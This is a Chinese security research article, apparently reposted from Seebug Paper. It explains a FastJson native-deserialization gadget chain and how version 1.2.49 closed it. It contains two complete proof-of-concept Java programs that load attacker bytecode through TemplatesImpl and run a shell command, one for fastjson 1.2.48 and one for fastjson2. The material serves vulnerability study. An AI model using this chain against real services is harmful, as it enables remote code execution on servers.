1

FastJson 与原生反序列化

 1 year ago
source link: https://paper.seebug.org/2055/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

作者:Y4tacker
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]

这其实是我很早前遇到的一个秋招面试题,问题大概是如果你遇到一个较高版本的FastJson有什么办法能绕过AutoType么?我一开始回答的是找黑名单外的类,后面面试官说想考察的是FastJson在原生反序列化当中的利用。因为比较有趣加上最近在网上也看到类似的东西,今天也就顺便在肝毕设之余来谈谈这个问题。

利用与限制

Fastjson1版本小于等于1.2.48

Fastjson2目前通杀(目前最新版本2.0.26)

既然是与原生反序列化相关,那我们去fastjson包里去看看哪些类继承了Serializable接口即可,最后找完只有两个类,JSONArray与JSONObject,这里我们就挑第一个来讲(实际上这两个在原生反序列化当中利用方式是相同的)

首先我们可以在IDEA中可以看到,虽然JSONArray有implement这个Serializable接口但是它本身没有实现readObject方法的重载,并且继承的JSON类同样没有readObject方法,那么只有一个思路了,通过其他类的readObject做中转来触发JSONArray或者JSON类当中的某个方法最终实现串链

在Json类当中的toString方法能触发toJsonString的调用,而这个东西其实我们并不陌生,在我们想用JSON.parse()触发get方法时,其中一个处理方法就是用JSONObject嵌套我们的payload

image-20230320134010936

那么思路就很明确了,触发toString->toJSONString->get方法,

如何触发getter方法

这里多提一句为什么能触发get方法调用

因为是toString所以肯定会涉及到对象中的属性提取,fastjson在做这部分实现时,是通过ObjectSerializer类的write方法去做的提取

image-20230320134844206

这部分流程是先判断serializers这个HashMap当中有无默认映射

image-20230320134927354

我们可以来看看有哪些默认的映射关系

private void initSerializers() {
        this.put((Type)Boolean.class, (ObjectSerializer)BooleanCodec.instance);
        this.put((Type)Character.class, (ObjectSerializer)CharacterCodec.instance);
        this.put((Type)Byte.class, (ObjectSerializer)IntegerCodec.instance);
        this.put((Type)Short.class, (ObjectSerializer)IntegerCodec.instance);
        this.put((Type)Integer.class, (ObjectSerializer)IntegerCodec.instance);
        this.put((Type)Long.class, (ObjectSerializer)LongCodec.instance);
        this.put((Type)Float.class, (ObjectSerializer)FloatCodec.instance);
        this.put((Type)Double.class, (ObjectSerializer)DoubleSerializer.instance);
        this.put((Type)BigDecimal.class, (ObjectSerializer)BigDecimalCodec.instance);
        this.put((Type)BigInteger.class, (ObjectSerializer)BigIntegerCodec.instance);
        this.put((Type)String.class, (ObjectSerializer)StringCodec.instance);
        this.put((Type)byte[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)short[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)int[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)long[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)float[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)double[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)boolean[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)char[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)Object[].class, (ObjectSerializer)ObjectArrayCodec.instance);
        this.put((Type)Class.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)SimpleDateFormat.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Currency.class, (ObjectSerializer)(new MiscCodec()));
        this.put((Type)TimeZone.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)InetAddress.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Inet4Address.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Inet6Address.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)InetSocketAddress.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)File.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Appendable.class, (ObjectSerializer)AppendableSerializer.instance);
        this.put((Type)StringBuffer.class, (ObjectSerializer)AppendableSerializer.instance);
        this.put((Type)StringBuilder.class, (ObjectSerializer)AppendableSerializer.instance);
        this.put((Type)Charset.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)Pattern.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)Locale.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)URI.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)URL.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)UUID.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)AtomicBoolean.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicInteger.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicLong.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicReference.class, (ObjectSerializer)ReferenceCodec.instance);
        this.put((Type)AtomicIntegerArray.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicLongArray.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)WeakReference.class, (ObjectSerializer)ReferenceCodec.instance);
        this.put((Type)SoftReference.class, (ObjectSerializer)ReferenceCodec.instance);
        this.put((Type)LinkedList.class, (ObjectSerializer)CollectionCodec.instance);
    }

这里面基本上没有我们需要的东西,唯一熟悉的就是MiscCodec(提示下我们fastjson加载任意class时就是通过调用这个的TypeUtils.loadClass),但可惜的是他的write方法同样没有什么可利用的点,再往下去除一些不关键的调用栈,接下来默认会通过createJavaBeanSerializer来创建一个ObjectSerializer对象

image-20230320135558815

它会提取类当中的BeanInfo(包括有getter方法的属性)并传入createJavaBeanSerializer继续处理

    public final ObjectSerializer createJavaBeanSerializer(Class<?> clazz) {
        SerializeBeanInfo beanInfo = TypeUtils.buildBeanInfo(clazz, (Map)null, this.propertyNamingStrategy, this.fieldBased);
        return (ObjectSerializer)(beanInfo.fields.length == 0 && Iterable.class.isAssignableFrom(clazz) ? MiscCodec.instance : this.createJavaBeanSerializer(beanInfo));
    }

这个方法也最终会将二次处理的beaninfo继续委托给createASMSerializer做处理,而这个方法其实就是通过ASM动态创建一个类(因为和Java自带的ASM框架长的很“相似”所以阅读这部分代码并不复杂)

image-20230320140024393

getter方法的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod当中

它会根据字段的类型调用不同的方法处理,这里我们随便看一个(以第一个_long为例)

image-20230320141614997

通过_get方法生成读取filed的方法

image-20230320141732427

这里的fieldInfo其实就是我们一开始的有get方法的field的集合

image-20230320141919458
private void _get(MethodVisitor mw, ASMSerializerFactory.Context context, FieldInfo fieldInfo) {
        Method method = fieldInfo.method;
        if (method != null) {
            mw.visitVarInsn(25, context.var("entity"));
            Class<?> declaringClass = method.getDeclaringClass();
            mw.visitMethodInsn(declaringClass.isInterface() ? 185 : 182, ASMUtils.type(declaringClass), method.getName(), ASMUtils.desc(method));
            if (!method.getReturnType().equals(fieldInfo.fieldClass)) {
                mw.visitTypeInsn(192, ASMUtils.type(fieldInfo.fieldClass));
            }
        } else {
            mw.visitVarInsn(25, context.var("entity"));
            Field field = fieldInfo.field;
            mw.visitFieldInsn(180, ASMUtils.type(fieldInfo.declaringClass), field.getName(), ASMUtils.desc(field.getType()));
            if (!field.getType().equals(fieldInfo.fieldClass)) {
                mw.visitTypeInsn(192, ASMUtils.type(fieldInfo.fieldClass));
            }
        }

    }

因此能最终调用方法的get方法

这里做个验证,这里我们创建一个User类,其中只有username字段有get方法

public class User {
    public String username;
    public String password;

    public String getUsername() {
        return username;
    }
}

在asm最终生成code的bytes数据写入文件

image-20230320142220671

可以看到在write方法当中password因为没有get方法所以没有调用getPassword,而username有所以调用了

image-20230320142440946

组合利用链

既然只能触发get方法的调用那么很容易想到通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用

而触发toString方法我们也有现成的链,通过BadAttributeValueExpException触发即可

因此我们很容易写出利用链子

fastjson1

Maven依赖

<dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.19.0-GA</version>
</dependency>
 <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.48</version>
</dependency>
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "y4tacker");
        setValue(templates, "_tfactory", null);


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

fastjson2

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "y4tacker");
        setValue(templates, "_tfactory", null);


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}
image-20230320143328906

为什么fastjson1的1.2.49以后不再能利用

从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法

image-20230320144250771

在其SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查

image-20230320144333055

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/2055/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK